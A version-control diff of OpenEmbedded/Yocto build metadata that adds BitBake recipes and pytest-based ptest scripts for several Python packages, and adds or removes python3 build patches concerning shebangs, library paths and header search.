diff --git a/meta/recipes-devtools/python/python3-typing-extensions_4.11.0.bb b/meta/recipes-devtools/python/python3-typing-extensions_4.11.0.bb
new file mode 100644
index 0000000000..ad45b669ec
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-typing-extensions_4.11.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Backported and Experimental Type Hints for Python 3.7+"
+DESCRIPTION = "The typing_extensions module serves two related purposes:\
+\
+* Enable use of new type system features on older Python versions. For \
+ example, typing.TypeGuard is new in Python 3.10, but typing_extensions \
+ allows users on previous Python versions to use it too.\
+* Enable experimentation with new type system PEPs before they are accepted \
+ and added to the typing module."
+HOMEPAGE = "https://github.com/python/typing_extensions"
+BUGTRACKER = "https://github.com/python/typing_extensions/issues"
+SECTIONS = "libs"
+LICENSE = "PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=fcf6b249c2641540219a727f35d8d2c2"
+
+# The name on PyPi is slightly different.
+PYPI_PACKAGE = "typing_extensions"
+
+SRC_URI[sha256sum] = "83f085bd5ca59c80295fc2a82ab5dac679cbe02b9f33f7d83af68e241bea51b0"
+
+inherit pypi python_flit_core
+
+UPSTREAM_CHECK_REGEX = "/typing-extensions/(?P<pver>(\d+[\.\-_]*)+)/"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
new file mode 100644
index 0000000000..8ba2788c9b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Filters to enhance web typography, including support for Django & Jinja templates"
+HOMEPAGE = "https://github.com/mintchaos/typogrify"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=12bc792d6f5415dbf421f3fd183c6dd2"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "typogrify"
+SRC_URI[sha256sum] = "8be4668cda434163ce229d87ca273a11922cb1614cb359970b7dc96eed13cb38"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "python3-smartypants"
+
diff --git a/meta/recipes-devtools/python/python3-unittest-automake-output_0.2.bb b/meta/recipes-devtools/python/python3-unittest-automake-output_0.2.bb
new file mode 100644
index 0000000000..1fc6180d0e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-unittest-automake-output_0.2.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Modules to make unittest and pytest look like Automake output, for ptest"
+HOMEPAGE = "https://gitlab.com/rossburton/python-unittest-automake-output"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f6f16008d9fb7349f06609329f1ab93b"
+
+SRC_URI = "git://gitlab.com/rossburton/python-unittest-automake-output;protocol=https;branch=main"
+SRCREV = "aebdfb188e368c690ea55cf6c9c9ffa1a52def65"
+
+S = "${WORKDIR}/git"
+
+inherit python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-uritools_4.0.2.bb b/meta/recipes-devtools/python/python3-uritools_4.0.2.bb
new file mode 100644
index 0000000000..5ffedccb85
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-uritools_4.0.2.bb
@@ -0,0 +1,11 @@
+SUMMARY = "URI parsing, classification and composition"
+HOMEPAGE = "https://github.com/tkem/uritools/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1ec55353c80c662e4255f8889a0ca558"
+
+SRC_URI[sha256sum] = "04df2b787d0eb76200e8319382a03562fbfe4741fd66c15506b08d3b8211d573"
+
+inherit setuptools3 pypi
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-urllib3_2.2.1.bb b/meta/recipes-devtools/python/python3-urllib3_2.2.1.bb
new file mode 100644
index 0000000000..fc1828b4ee
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-urllib3_2.2.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Python HTTP library with thread-safe connection pooling, file post support, sanity friendly, and more"
+HOMEPAGE = "https://github.com/shazow/urllib3"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=52d273a3054ced561275d4d15260ecda"
+
+SRC_URI[sha256sum] = "d0570876c61ab9e520d776c38acbbb5b05a776d3f9ff98a5c8fd5162a444cf19"
+
+inherit pypi python_hatchling
+
+RDEPENDS:${PN} += "\
+ python3-certifi \
+ python3-cryptography \
+ python3-email \
+ python3-idna \
+ python3-json \
+ python3-netclient \
+ python3-pyopenssl \
+ python3-threading \
+ python3-logging \
+"
+
+CVE_PRODUCT = "urllib3"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
new file mode 100644
index 0000000000..149078c51b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Python vcversioner, automagically update the project's version"
+HOMEPAGE = "https://github.com/habnabit/vcversioner"
+
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://PKG-INFO;md5=827a7a91a8d20d3c666b665cd96db8e3"
+
+SRC_URI[md5sum] = "aab6ef5e0cf8614a1b1140ed5b7f107d"
+SRC_URI[sha256sum] = "dae60c17a479781f44a4010701833f1829140b1eeccd258762a74974aa06e19b"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-wcwidth/run-ptest b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-wcwidth_0.2.13.bb b/meta/recipes-devtools/python/python3-wcwidth_0.2.13.bb
new file mode 100644
index 0000000000..4a9bf75323
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth_0.2.13.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Library for building powerful interactive command lines in Python"
+DESCRIPTION = "Measures the displayed width of unicode strings in a terminal"
+HOMEPAGE = "https://github.com/jquast/wcwidth"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b15979c39a2543892fca8cd86b4b52cb"
+
+SRC_URI[sha256sum] = "72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ install -d ${D}${PTEST_PATH}/bin
+ cp -rf ${S}/bin/* ${D}${PTEST_PATH}/bin/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-webcolors/run-ptest b/meta/recipes-devtools/python/python3-webcolors/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-webcolors_1.13.bb b/meta/recipes-devtools/python/python3-webcolors_1.13.bb
new file mode 100644
index 0000000000..cea2a971d3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors_1.13.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Simple Python module for working with HTML/CSS color definitions."
+HOMEPAGE = "https://pypi.org/project/webcolors/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=702b1ef12cf66832a88f24c8f2ee9c19"
+
+SRC_URI[sha256sum] = "c225b674c83fa923be93d235330ce0300373d02885cef23238813b0d5668304a"
+
+inherit pypi python_setuptools_build_meta ptest
+
+RDEPENDS:${PN}:class-target = "\
+ python3-stringold \
+"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-websockets_12.0.bb b/meta/recipes-devtools/python/python3-websockets_12.0.bb
new file mode 100644
index 0000000000..f89c3b629e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-websockets_12.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "An implementation of the WebSocket Protocol (RFC 6455)"
+HOMEPAGE = "https://github.com/aaugustin/websockets"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=51924a6af4495b8cfaee1b1da869b6f4"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "81df9cbcbb6c260de1e007e58c011bfebe2dafc8435107b0537f393dd38c8b1b"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} = " \
+ python3-asyncio \
+ python3-profile \
+"
diff --git a/meta/recipes-devtools/python/python3-wheel_0.43.0.bb b/meta/recipes-devtools/python/python3-wheel_0.43.0.bb
new file mode 100644
index 0000000000..ba309ae5fc
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wheel_0.43.0.bb
@@ -0,0 +1,15 @@
+SUMMARY = "The official binary distribution format for Python "
+HOMEPAGE = "https://github.com/pypa/wheel"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7ffb0db04527cfe380e4f2726bd05ebf"
+
+SRC_URI[sha256sum] = "465ef92c69fa5c5da2d1cf8ac40559a8c940886afcef87dcf14b9470862f1d85"
+
+inherit python_flit_core pypi
+
+BBCLASSEXTEND = "native nativesdk"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-xmltodict/run-ptest b/meta/recipes-devtools/python/python3-xmltodict/run-ptest
new file mode 100644
index 0000000000..3385d68939
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-xmltodict/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-xmltodict_0.13.0.bb b/meta/recipes-devtools/python/python3-xmltodict_0.13.0.bb
new file mode 100644
index 0000000000..e8e275647c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-xmltodict_0.13.0.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Makes working with XML feel like you are working with JSON"
+HOMEPAGE = "https://github.com/martinblech/xmltodict"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=01441d50dc74476db58a41ac10cb9fa2"
+
+SRC_URI[sha256sum] = "341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"
+
+PYPI_PACKAGE = "xmltodict"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN} += " \
+ python3-core \
+ python3-xml \
+ python3-io \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta/recipes-devtools/python/python3-yamllint_1.35.1.bb b/meta/recipes-devtools/python/python3-yamllint_1.35.1.bb
new file mode 100644
index 0000000000..53188b0262
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-yamllint_1.35.1.bb
@@ -0,0 +1,15 @@
+SUMMARY = "A linter for YAML files."
+HOMEPAGE = "https://github.com/adrienverge/yamllint"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "yamllint"
+
+SRC_URI[sha256sum] = "7a003809f88324fd2c877734f2d575ee7881dd9043360657cc8049c809eba6cd"
+
+DEPENDS += "python3-setuptools-scm-native"
+RDEPENDS:${PN} += "python3-pathspec python3-pyyaml"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-zipp_3.18.1.bb b/meta/recipes-devtools/python/python3-zipp_3.18.1.bb
new file mode 100644
index 0000000000..e43432469d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-zipp_3.18.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Backport of pathlib-compatible object wrapper for zip files"
+HOMEPAGE = "https://github.com/jaraco/zipp"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=141643e11c48898150daa83802dbc65f"
+
+SRC_URI[sha256sum] = "2884ed22e7d8961de1c9a05142eb69a247f120291bc0206a00a7642f09b5b715"
+
+DEPENDS += "python3-setuptools-scm-native"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += "python3-toml-native"
+
+RDEPENDS:${PN} += "python3-compression \
+ python3-math \
+ python3-more-itertools"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3/0001-Avoid-shebang-overflow-on-python-config.py.patch b/meta/recipes-devtools/python/python3/0001-Avoid-shebang-overflow-on-python-config.py.patch
new file mode 100644
index 0000000000..0d807db39f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Avoid-shebang-overflow-on-python-config.py.patch
@@ -0,0 +1,30 @@
+From 365399f17d35719d828ddd49182dcb401fb7791c Mon Sep 17 00:00:00 2001
+From: Paulo Neves <ptsneves@gmail.com>
+Date: Tue, 7 Jun 2022 16:16:41 +0200
+Subject: [PATCH] Avoid shebang overflow on python-config.py
+
+The whole native path may be too big, leading to shebang
+overflow. Let's just use the env shebang.
+
+Denial reason: [1]
+
+Upstream-Status: Denied [distribution]
+
+[1] https://github.com/python/cpython/pull/93760#pullrequestreview-1005365737
+---
+ Makefile.pre.in | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/Makefile.pre.in b/Makefile.pre.in
+index 77bf09a..6353c57 100644
+--- a/Makefile.pre.in
++++ b/Makefile.pre.in
+@@ -2339,6 +2339,8 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
+ @ # Substitution happens here, as the completely-expanded BINDIR
+ @ # is not available in configure
+ sed -e "s,@EXENAME@,$(EXENAME)," < $(srcdir)/Misc/python-config.in >python-config.py
++ @ # Otherwise we might get huge shebangs with native paths
++ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' python-config.py
+ @ # Replace makefile compat. variable references with shell script compat. ones; $(VAR) -> ${VAR}
+ LC_ALL=C sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config
+ @ # On Darwin, always use the python version of the script, the shell
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch b/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
deleted file mode 100644
index 59592821d7..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 039c53dd5baddec3359a05be0bff46a3b32bbb84 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 25 Jan 2019 19:04:13 +0100
-Subject: [PATCH] Do not add /usr/lib/termcap to linker flags to avoid host
- contamination
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- setup.py | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/setup.py b/setup.py
-index 20d7f35..ab18ff0 100644
---- a/setup.py
-+++ b/setup.py
-@@ -957,7 +957,6 @@ class PyBuildExt(build_ext):
- 'termcap'):
- readline_libs.append('termcap')
- self.add(Extension('readline', ['readline.c'],
-- library_dirs=['/usr/lib/termcap'],
- extra_link_args=readline_extra_link_args,
- libraries=readline_libs))
- else:
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch b/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch
deleted file mode 100644
index 112c979441..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch
+++ /dev/null
@@ -1,214 +0,0 @@
-From a078b6ff1492e848ad1055764fb9a414abaf3e12 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 5 Feb 2019 15:52:02 +0100
-Subject: [PATCH] Do not hardcode "lib" as location for modules, site-packages
- and lib-dynload
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Include/pythonrun.h | 2 ++
- Lib/site.py | 4 ++--
- Makefile.pre.in | 5 +++--
- Modules/getpath.c | 22 ++++++++++++++--------
- Python/getplatform.c | 10 ++++++++++
- Python/sysmodule.c | 2 ++
- 6 files changed, 33 insertions(+), 12 deletions(-)
-
-diff --git a/Include/pythonrun.h b/Include/pythonrun.h
-index 46091e0..61b2e15 100644
---- a/Include/pythonrun.h
-+++ b/Include/pythonrun.h
-@@ -7,6 +7,8 @@
- extern "C" {
- #endif
-
-+PyAPI_FUNC(const char *) Py_GetLib(void);
-+
- #ifndef Py_LIMITED_API
- PyAPI_FUNC(int) PyRun_SimpleStringFlags(const char *, PyCompilerFlags *);
- PyAPI_FUNC(int) PyRun_AnyFileExFlags(
-diff --git a/Lib/site.py b/Lib/site.py
-index a065ab0..1d720ef 100644
---- a/Lib/site.py
-+++ b/Lib/site.py
-@@ -335,12 +335,12 @@ def getsitepackages(prefixes=None):
- seen.add(prefix)
-
- if os.sep == '/':
-- sitepackages.append(os.path.join(prefix, "lib",
-+ sitepackages.append(os.path.join(prefix, sys.lib,
- "python%d.%d" % sys.version_info[:2],
- "site-packages"))
- else:
- sitepackages.append(prefix)
-- sitepackages.append(os.path.join(prefix, "lib", "site-packages"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-packages"))
- return sitepackages
-
- def addsitepackages(known_paths, prefixes=None):
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 65665df..be49140 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -143,7 +143,7 @@ LIBDIR= @libdir@
- MANDIR= @mandir@
- INCLUDEDIR= @includedir@
- CONFINCLUDEDIR= $(exec_prefix)/include
--SCRIPTDIR= $(prefix)/lib
-+SCRIPTDIR= @libdir@
- ABIFLAGS= @ABIFLAGS@
-
- # Detailed destination directories
-@@ -753,6 +753,7 @@ Modules/getpath.o: $(srcdir)/Modules/getpath.c Makefile
- -DEXEC_PREFIX='"$(exec_prefix)"' \
- -DVERSION='"$(VERSION)"' \
- -DVPATH='"$(VPATH)"' \
-+ -DLIB='"$(LIB)"' \
- -o $@ $(srcdir)/Modules/getpath.c
-
- Programs/python.o: $(srcdir)/Programs/python.c
-@@ -868,7 +869,7 @@ regen-symbol: $(srcdir)/Include/graminit.h
- Python/compile.o Python/symtable.o Python/ast_unparse.o Python/ast.o Python/future.o Parser/parsetok.o: $(srcdir)/Include/graminit.h $(srcdir)/Include/Python-ast.h
-
- Python/getplatform.o: $(srcdir)/Python/getplatform.c
-- $(CC) -c $(PY_CORE_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -o $@ $(srcdir)/Python/getplatform.c
-+ $(CC) -c $(PY_CORE_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -DLIB='"$(LIB)"' -o $@ $(srcdir)/Python/getplatform.c
-
- Python/importdl.o: $(srcdir)/Python/importdl.c
- $(CC) -c $(PY_CORE_CFLAGS) -I$(DLINCLDIR) -o $@ $(srcdir)/Python/importdl.c
-diff --git a/Modules/getpath.c b/Modules/getpath.c
-index b727f66..c003e46 100644
---- a/Modules/getpath.c
-+++ b/Modules/getpath.c
-@@ -128,6 +128,7 @@ typedef struct {
- wchar_t *exec_prefix; /* EXEC_PREFIX macro */
-
- wchar_t *lib_python; /* "lib/pythonX.Y" */
-+ wchar_t *multilib_python; /* "lib[suffix]/pythonX.Y" */
-
- int prefix_found; /* found platform independent libraries? */
- int exec_prefix_found; /* found the platform dependent libraries? */
-@@ -386,7 +387,7 @@ search_for_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- if (delim) {
- *delim = L'\0';
- }
-- status = joinpath(prefix, calculate->lib_python, prefix_len);
-+ status = joinpath(prefix, calculate->multilib_python, prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -444,7 +445,7 @@ search_for_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- do {
- /* Path: <argv0_path or substring> / <lib_python> / LANDMARK */
- size_t n = wcslen(prefix);
-- status = joinpath(prefix, calculate->lib_python, prefix_len);
-+ status = joinpath(prefix, calculate->multilib_python, prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -467,7 +468,7 @@ search_for_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- if (safe_wcscpy(prefix, calculate->prefix, prefix_len) < 0) {
- return PATHLEN_ERR();
- }
-- status = joinpath(prefix, calculate->lib_python, prefix_len);
-+ status = joinpath(prefix, calculate->multilib_python, prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -510,7 +511,7 @@ calculate_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- if (safe_wcscpy(prefix, calculate->prefix, prefix_len) < 0) {
- return PATHLEN_ERR();
- }
-- status = joinpath(prefix, calculate->lib_python, prefix_len);
-+ status = joinpath(prefix, calculate->multilib_python, prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -635,7 +636,7 @@ search_for_exec_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- return PATHLEN_ERR();
- }
- }
-- status = joinpath(exec_prefix, calculate->lib_python, exec_prefix_len);
-+ status = joinpath(exec_prefix, calculate->multilib_python, exec_prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -667,7 +668,7 @@ search_for_exec_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- do {
- /* Path: <argv0_path or substring> / <lib_python> / "lib-dynload" */
- size_t n = wcslen(exec_prefix);
-- status = joinpath(exec_prefix, calculate->lib_python, exec_prefix_len);
-+ status = joinpath(exec_prefix, calculate->multilib_python, exec_prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -689,7 +690,7 @@ search_for_exec_prefix(PyCalculatePath *calculate, _PyPathConfig *pathconfig,
- if (safe_wcscpy(exec_prefix, calculate->exec_prefix, exec_prefix_len) < 0) {
- return PATHLEN_ERR();
- }
-- status = joinpath(exec_prefix, calculate->lib_python, exec_prefix_len);
-+ status = joinpath(exec_prefix, calculate->multilib_python, exec_prefix_len);
- if (_PyStatus_EXCEPTION(status)) {
- return status;
- }
-@@ -928,7 +929,7 @@ calculate_argv0_path(PyCalculatePath *calculate, const wchar_t *program_full_pat
- return PATHLEN_ERR();
- }
- reduce(argv0_path);
-- status = joinpath(argv0_path, calculate->lib_python, argv0_path_len);
-+ status = joinpath(argv0_path, calculate->multilib_python, argv0_path_len);
- if (_PyStatus_EXCEPTION(status)) {
- PyMem_RawFree(wbuf);
- return status;
-@@ -1201,6 +1202,10 @@ calculate_init(PyCalculatePath *calculate, const PyConfig *config)
- if (!calculate->lib_python) {
- return DECODE_LOCALE_ERR("EXEC_PREFIX define", len);
- }
-+ calculate->multilib_python = Py_DecodeLocale(LIB "/python" VERSION, &len);
-+ if (!calculate->multilib_python) {
-+ return DECODE_LOCALE_ERR("EXEC_PREFIX define", len);
-+ }
-
- calculate->warnings = config->pathconfig_warnings;
- calculate->pythonpath_env = config->pythonpath_env;
-@@ -1216,6 +1221,7 @@ calculate_free(PyCalculatePath *calculate)
- PyMem_RawFree(calculate->prefix);
- PyMem_RawFree(calculate->exec_prefix);
- PyMem_RawFree(calculate->lib_python);
-+ PyMem_RawFree(calculate->multilib_python);
- PyMem_RawFree(calculate->path_env);
- }
-
-diff --git a/Python/getplatform.c b/Python/getplatform.c
-index 81a0f7a..d55396b 100644
---- a/Python/getplatform.c
-+++ b/Python/getplatform.c
-@@ -10,3 +10,13 @@ Py_GetPlatform(void)
- {
- return PLATFORM;
- }
-+
-+#ifndef LIB
-+#define LIB "lib"
-+#endif
-+
-+const char *
-+Py_GetLib(void)
-+{
-+ return LIB;
-+}
-diff --git a/Python/sysmodule.c b/Python/sysmodule.c
-index 5b0fb81..0dce754 100644
---- a/Python/sysmodule.c
-+++ b/Python/sysmodule.c
-@@ -2668,6 +2668,8 @@ _PySys_InitCore(_PyRuntimeState *runtime, PyInterpreterState *interp,
- PyUnicode_FromString(Py_GetCopyright()));
- SET_SYS_FROM_STRING("platform",
- PyUnicode_FromString(Py_GetPlatform()));
-+ SET_SYS_FROM_STRING("lib",
-+ PyUnicode_FromString(Py_GetLib()));
- SET_SYS_FROM_STRING("maxsize",
- PyLong_FromSsize_t(PY_SSIZE_T_MAX));
- SET_SYS_FROM_STRING("float_info",
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch b/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
deleted file mode 100644
index 83fd52d87f..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 148861fa16f2aaacd518770f337ea54b5182f981 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 29 Jan 2019 15:03:01 +0100
-Subject: [PATCH] Do not use the shell version of python-config that was
- introduced in 3.4
-
-Revert instead to the original python version: it has our tweaks and
-outputs directories correctly.
-
-Upstream-Status: Inappropriate [oe-specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile.pre.in | 9 +++------
- 1 file changed, 3 insertions(+), 6 deletions(-)
-
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 2d2e11f..cc19942 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -1431,12 +1431,9 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
- sed -e "s,@EXENAME@,$(BINDIR)/python$(LDVERSION)$(EXE)," < $(srcdir)/Misc/python-config.in >python-config.py
- @ # Replace makefile compat. variable references with shell script compat. ones; $(VAR) -> ${VAR}
- LC_ALL=C sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config
-- @ # On Darwin, always use the python version of the script, the shell
-- @ # version doesn't use the compiler customizations that are provided
-- @ # in python (_osx_support.py).
-- @if test `uname -s` = Darwin; then \
-- cp python-config.py python-config; \
-- fi
-+ @ # In OpenEmbedded, always use the python version of the script, the shell
-+ @ # version is broken in multiple ways, and doesn't return correct directories
-+ cp python-config.py python-config
-
-
- # Install the include files
diff --git a/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch b/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
deleted file mode 100644
index 3e471b9a49..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From b880e78bf4a1852e260188e6df3ec6034403d2fc Mon Sep 17 00:00:00 2001
-From: Jeremy Puhlman <jpuhlman@mvista.com>
-Date: Wed, 4 Mar 2020 00:06:42 +0000
-Subject: [PATCH] Don't search system for headers/libraries
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
-
----
- setup.py | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index 7208cd0..c0bd0ad 100644
---- a/setup.py
-+++ b/setup.py
-@@ -674,8 +674,8 @@ class PyBuildExt(build_ext):
- add_dir_to_list(self.compiler.include_dirs,
- sysconfig.get_config_var("INCLUDEDIR"))
-
-- system_lib_dirs = ['/lib64', '/usr/lib64', '/lib', '/usr/lib']
-- system_include_dirs = ['/usr/include']
-+ system_lib_dirs = []
-+ system_include_dirs = []
- # lib_dirs and inc_dirs are used to search for files;
- # if a file is found in one of those directories, it can
- # be assumed that no additional -I,-L directives are needed.
